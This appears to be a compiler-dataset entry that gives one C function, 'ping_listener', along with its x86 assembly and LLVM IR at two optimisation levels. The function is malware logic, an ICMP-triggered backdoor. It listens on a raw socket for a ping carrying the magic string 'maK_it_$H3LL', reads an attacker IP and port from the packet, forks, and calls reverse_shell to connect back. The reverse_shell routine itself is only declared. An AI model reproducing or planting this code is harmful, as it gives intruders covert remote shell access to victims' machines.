#define NULL ((void *)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t;
typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1

/* Forward declarations */

/* Type definitions */
struct ip {
  int dummy;
};
struct icmp {
  scalar_t__ icmp_type;
  scalar_t__ icmp_data;
};
typedef int /*<<< orphan*/ attacker_ip;

/* Variables and functions */
int /*<<< orphan*/ AF_INET;
int /*<<< orphan*/ EXIT_SUCCESS;
scalar_t__ ICMP_ECHO;
int /*<<< orphan*/ IPPROTO_ICMP;
int /*<<< orphan*/ SOCK_RAW;
int /*<<< orphan*/ bzero(char *, int);
int /*<<< orphan*/ exit(int /*<<< orphan*/);
scalar_t__ fork();
scalar_t__ memcmp(scalar_t__, char *, int);
int recv(int, char *, int, int /*<<< orphan*/);
int /*<<< orphan*/ reverse_shell(char *, int);
int socket(int /*<<< orphan*/, int /*<<< orphan*/, int /*<<< orphan*/);
int /*<<< orphan*/ sscanf(char *, char *, char *, int *);
int strlen(char *);
void ping_listener(void) {
  int sockfd;
  int n;
  int icmp_ksize;
  char buf[1024 + 1];
  struct ip *ip;
  struct icmp *icmp;
  icmp_ksize = strlen("maK_it_$H3LL");
  sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);
  while (1) {
    bzero(buf, 1024 + 1);
    n = recv(sockfd, buf, 1024, 0);
    if (n > 0) {
      ip = (struct ip *)buf;
      icmp = (struct icmp *)(ip + 1);
      if ((icmp->icmp_type == ICMP_ECHO) &&
          (memcmp(icmp->icmp_data, "maK_it_$H3LL", icmp_ksize) == 0)) {
        char attacker_ip[16];
        int attacker_port;
        attacker_port = 0;
        bzero(attacker_ip, sizeof(attacker_ip));
        sscanf((char *)(icmp->icmp_data + icmp_ksize + 1), "%15s %d",
               attacker_ip, &attacker_port);
        if ((attacker_port <= 0) || (strlen(attacker_ip) < 7))
          continue;
        if (fork() == 0) {
          reverse_shell(attacker_ip, attacker_port);
          exit(EXIT_SUCCESS);
        }
      }
    }
  }
}


x86 assembly (clang, -O0):
<ping_listener>:
push   %rbp
mov    %rsp,%rbp
sub    $0x440,%rsp
lea    0xe5e(%rip),%rdi
call   1040 <strlen@plt>
mov    %eax,-0xc(%rbp)
mov    0x2e37(%rip),%rax
mov    (%rax),%edi
mov    0x2e26(%rip),%rax
mov    (%rax),%esi
mov    0x2e15(%rip),%rax
mov    (%rax),%edx
call   10b0 <socket@plt>
mov    %eax,-0x4(%rbp)
lea    -0x410(%rbp),%rdi
mov    $0x401,%esi
call   1070 <bzero@plt>
mov    -0x4(%rbp),%edi
lea    -0x410(%rbp),%rsi
mov    $0x400,%edx
xor    %ecx,%ecx
call   1030 <recv@plt>
mov    %eax,-0x8(%rbp)
cmpl   $0x0,-0x8(%rbp)
jle    130c <ping_listener+0x17c>
lea    -0x410(%rbp),%rax
mov    %rax,-0x418(%rbp)
mov    -0x418(%rbp),%rax
add    $0x4,%rax
mov    %rax,-0x420(%rbp)
mov    -0x420(%rbp),%rax
mov    (%rax),%rax
mov    0x2d96(%rip),%rcx
cmp    (%rcx),%rax
jne    1307 <ping_listener+0x177>
mov    -0x420(%rbp),%rax
mov    0x8(%rax),%rdi
mov    -0xc(%rbp),%edx
lea    0xdb0(%rip),%rsi
call   1050 <memcmp@plt>
cmp    $0x0,%rax
jne    1307 <ping_listener+0x177>
movl   $0x0,-0x434(%rbp)
lea    -0x430(%rbp),%rdi
mov    $0x10,%esi
call   1070 <bzero@plt>
mov    -0x420(%rbp),%rax
mov    0x8(%rax),%rdi
movslq -0xc(%rbp),%rax
add    %rax,%rdi
add    $0x1,%rdi
lea    -0x430(%rbp),%rdx
lea    0xd6f(%rip),%rsi
lea    -0x434(%rbp),%rcx
call   1060 <sscanf@plt>
cmpl   $0x0,-0x434(%rbp)
jle    12cc <ping_listener+0x13c>
lea    -0x430(%rbp),%rdi
call   1040 <strlen@plt>
cmp    $0x7,%eax
jge    12d1 <ping_listener+0x141>
jmp    11cd <ping_listener+0x3d>
mov    $0x0,%al
call   10a0 <fork@plt>
cmp    $0x0,%rax
jne    1302 <ping_listener+0x172>
lea    -0x430(%rbp),%rdi
mov    -0x434(%rbp),%esi
call   1090 <reverse_shell@plt>
mov    0x2cc5(%rip),%rax
mov    (%rax),%edi
call   1080 <exit@plt>
jmp    1307 <ping_listener+0x177>
jmp    130c <ping_listener+0x17c>
jmp    11cd <ping_listener+0x3d>

x86 assembly (clang, -O2):
<ping_listener>:
push   %rbp
push   %r15
push   %r14
push   %r13
push   %r12
push   %rbx
sub    $0x428,%rsp
lea    0xe58(%rip),%r14
mov    %r14,%rdi
call   1040 <strlen@plt>
mov    %eax,%r15d
mov    0x2e2e(%rip),%rax
mov    (%rax),%edi
mov    0x2e1d(%rip),%rax
mov    (%rax),%esi
mov    0x2e0c(%rip),%rax
mov    (%rax),%edx
call   10b0 <socket@plt>
mov    %eax,%ebx
movslq %r15d,%rax
add    $0x1,%rax
mov    %rax,0x8(%rsp)
lea    0x20(%rsp),%rbp
mov    0x2ddb(%rip),%r13
lea    0x10(%rsp),%r12
cs nopw 0x0(%rax,%rax,1)
nopl   0x0(%rax)
mov    %rbp,%rdi
mov    $0x401,%esi
call   1070 <bzero@plt>
mov    %ebx,%edi
mov    %rbp,%rsi
mov    $0x400,%edx
xor    %ecx,%ecx
call   1030 <recv@plt>
test   %eax,%eax
jle    1200 <ping_listener+0x70>
mov    0x24(%rsp),%rax
cmp    0x0(%r13),%rax
jne    1200 <ping_listener+0x70>
mov    0x2c(%rsp),%rdi
mov    %r14,%rsi
mov    %r15d,%edx
call   1050 <memcmp@plt>
test   %rax,%rax
jne    1200 <ping_listener+0x70>
movl   $0x0,0x4(%rsp)
mov    %r12,%rdi
mov    $0x10,%esi
call   1070 <bzero@plt>
mov    0x2c(%rsp),%rdi
add    0x8(%rsp),%rdi
lea    0xda5(%rip),%rsi
mov    %r12,%rdx
lea    0x4(%rsp),%rcx
call   1060 <sscanf@plt>
cmpl   $0x0,0x4(%rsp)
jle    1200 <ping_listener+0x70>
mov    %r12,%rdi
call   1040 <strlen@plt>
cmp    $0x7,%eax
jl     1200 <ping_listener+0x70>
xor    %eax,%eax
call   10a0 <fork@plt>
test   %rax,%rax
jne    1200 <ping_listener+0x70>
mov    0x4(%rsp),%esi
lea    0x10(%rsp),%rdi
call   1090 <reverse_shell@plt>
mov    0x2d0e(%rip),%rax
mov    (%rax),%edi
call   1080 <exit@plt>

LLVM IR (-O0):
%struct.ip = type { i32 }
%struct.icmp = type { i64, i64 }
@.str = [13 x i8] c"maK_it_$H3LL\00"
@AF_INET = global i32 0
@SOCK_RAW = global i32 0
@IPPROTO_ICMP = global i32 0
@ICMP_ECHO = global i64 0
@.str.1 = [8 x i8] c"%15s %d\00"
@EXIT_SUCCESS = global i32 0
define void @ping_listener() {
%1 = alloca i32
%2 = alloca i32
%3 = alloca i32
%4 = alloca [1025 x i8]
%5 = alloca %struct.ip*
%6 = alloca %struct.icmp*
%7 = alloca [16 x i8]
%8 = alloca i32
%9 = call i32 @strlen(i8* getelementptr inbounds ([13 x i8], [13 x i8]* @.str, i64 0, i64 0))
store i32 %9, i32* %3
%10 = load i32, i32* @AF_INET
%11 = load i32, i32* @SOCK_RAW
%12 = load i32, i32* @IPPROTO_ICMP
%13 = call i32 @socket(i32 %10, i32 %11, i32 %12)
store i32 %13, i32* %1
br label %14
14: ; preds = %0, %59, %71
%15 = getelementptr inbounds [1025 x i8], [1025 x i8]* %4, i64 0, i64 0
%16 = call i32 @bzero(i8* %15, i32 1025)
%17 = load i32, i32* %1
%18 = getelementptr inbounds [1025 x i8], [1025 x i8]* %4, i64 0, i64 0
%19 = call i32 @recv(i32 %17, i8* %18, i32 1024, i32 0)
store i32 %19, i32* %2
%20 = load i32, i32* %2
%21 = icmp sgt i32 %20, 0
br i1 %21, label %22, label %71
22: ; preds = %14
%23 = getelementptr inbounds [1025 x i8], [1025 x i8]* %4, i64 0, i64 0
%24 = bitcast i8* %23 to %struct.ip*
store %struct.ip* %24, %struct.ip** %5
%25 = load %struct.ip*, %struct.ip** %5
%26 = getelementptr inbounds %struct.ip, %struct.ip* %25, i64 1
%27 = bitcast %struct.ip* %26 to %struct.icmp*
store %struct.icmp* %27, %struct.icmp** %6
%28 = load %struct.icmp*, %struct.icmp** %6
%29 = getelementptr inbounds %struct.icmp, %struct.icmp* %28, i32 0, i32 0
%30 = load i64, i64* %29
%31 = load i64, i64* @ICMP_ECHO
%32 = icmp eq i64 %30, %31
br i1 %32, label %33, label %70
33: ; preds = %22
%34 = load %struct.icmp*, %struct.icmp** %6
%35 = getelementptr inbounds %struct.icmp, %struct.icmp* %34, i32 0, i32 1
%36 = load i64, i64* %35
%37 = load i32, i32* %3
%38 = call i64 @memcmp(i64 %36, i8* getelementptr inbounds ([13 x i8], [13 x i8]* @.str, i64 0, i64 0), i32 %37)
%39 = icmp eq i64 %38, 0
br i1 %39, label %40, label %70
40: ; preds = %33
store i32 0, i32* %8
%41 = getelementptr inbounds [16 x i8], [16 x i8]* %7, i64 0, i64 0
%42 = call i32 @bzero(i8* %41, i32 16)
%43 = load %struct.icmp*, %struct.icmp** %6
%44 = getelementptr inbounds %struct.icmp, %struct.icmp* %43, i32 0, i32 1
%45 = load i64, i64* %44
%46 = load i32, i32* %3
%47 = sext i32 %46 to i64
%48 = add nsw i64 %45, %47
%49 = add nsw i64 %48, 1
%50 = inttoptr i64 %49 to i8*
%51 = getelementptr inbounds [16 x i8], [16 x i8]* %7, i64 0, i64 0
%52 = call i32 @sscanf(i8* %50, i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str.1, i64 0, i64 0), i8* %51, i32* %8)
%53 = load i32, i32* %8
%54 = icmp sle i32 %53, 0
br i1 %54, label %59, label %55
55: ; preds = %40
%56 = getelementptr inbounds [16 x i8], [16 x i8]* %7, i64 0, i64 0
%57 = call i32 @strlen(i8* %56)
%58 = icmp slt i32 %57, 7
br i1 %58, label %59, label %60
59: ; preds = %55, %40
br label %14
60: ; preds = %55
%61 = call i64 (...) @fork()
%62 = icmp eq i64 %61, 0
br i1 %62, label %63, label %69
63: ; preds = %60
%64 = getelementptr inbounds [16 x i8], [16 x i8]* %7, i64 0, i64 0
%65 = load i32, i32* %8
%66 = call i32 @reverse_shell(i8* %64, i32 %65)
%67 = load i32, i32* @EXIT_SUCCESS
%68 = call i32 @exit(i32 %67)
unreachable
69: ; preds = %60
br label %70
70: ; preds = %69, %33, %22
br label %71
71: ; preds = %70, %14
br label %14
}

LLVM IR (-O2):
@.str = [13 x i8] c"maK_it_$H3LL\00"
@AF_INET = global i32 0
@SOCK_RAW = global i32 0
@IPPROTO_ICMP = global i32 0
@ICMP_ECHO = global i64 0
@.str.1 = [8 x i8] c"%15s %d\00"
@EXIT_SUCCESS = global i32 0
define void @ping_listener() {
%1 = alloca [1025 x i8]
%2 = alloca [16 x i8]
%3 = alloca i32
%4 = getelementptr inbounds [1025 x i8], [1025 x i8]* %1, i64 0, i64 0
%5 = tail call i32 @strlen(i8* getelementptr inbounds ([13 x i8], [13 x i8]* @.str, i64 0, i64 0))
%6 = load i32, i32* @AF_INET
%7 = load i32, i32* @SOCK_RAW
%8 = load i32, i32* @IPPROTO_ICMP
%9 = tail call i32 @socket(i32 %6, i32 %7, i32 %8)
%10 = getelementptr inbounds [1025 x i8], [1025 x i8]* %1, i64 0, i64 4
%11 = bitcast i8* %10 to i64*
%12 = getelementptr inbounds [1025 x i8], [1025 x i8]* %1, i64 0, i64 12
%13 = bitcast i8* %12 to i64*
%14 = getelementptr inbounds [16 x i8], [16 x i8]* %2, i64 0, i64 0
%15 = bitcast i32* %3 to i8*
%16 = sext i32 %5 to i64
%17 = add nsw i64 %16, 1
br label %18
18: ; preds = %22, %0
%19 = call i32 @bzero(i8* %4, i32 1025)
%20 = call i32 @recv(i32 %9, i8* %4, i32 1024, i32 0)
%21 = icmp sgt i32 %20, 0
br i1 %21, label %23, label %22
22: ; preds = %18, %27, %23, %45, %51
br label %18
23: ; preds = %18
%24 = load i64, i64* %11
%25 = load i64, i64* @ICMP_ECHO
%26 = icmp eq i64 %24, %25
br i1 %26, label %27, label %22
27: ; preds = %23
%28 = load i64, i64* %13
%29 = call i64 @memcmp(i64 %28, i8* getelementptr inbounds ([13 x i8], [13 x i8]* @.str, i64 0, i64 0), i32 %5)
%30 = icmp eq i64 %29, 0
br i1 %30, label %31, label %22
31: ; preds = %27
store i32 0, i32* %3
%32 = call i32 @bzero(i8* %14, i32 16)
%33 = load i64, i64* %13
%34 = add i64 %17, %33
%35 = inttoptr i64 %34 to i8*
%36 = call i32 @sscanf(i8* %35, i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str.1, i64 0, i64 0), i8* %14, i32* %3)
%37 = load i32, i32* %3
%38 = icmp slt i32 %37, 1
br i1 %38, label %51, label %39
39: ; preds = %31
%40 = call i32 @strlen(i8* %14)
%41 = icmp slt i32 %40, 7
br i1 %41, label %51, label %42
42: ; preds = %39
%43 = call i64 (...) @fork()
%44 = icmp eq i64 %43, 0
br i1 %44, label %46, label %45
45: ; preds = %42
br label %22
46: ; preds = %42
%47 = load i32, i32* %3
%48 = call i32 @reverse_shell(i8* %14, i32 %47)
%49 = load i32, i32* @EXIT_SUCCESS
%50 = call i32 @exit(i32 %49)
unreachable
51: ; preds = %31, %39
br label %22
}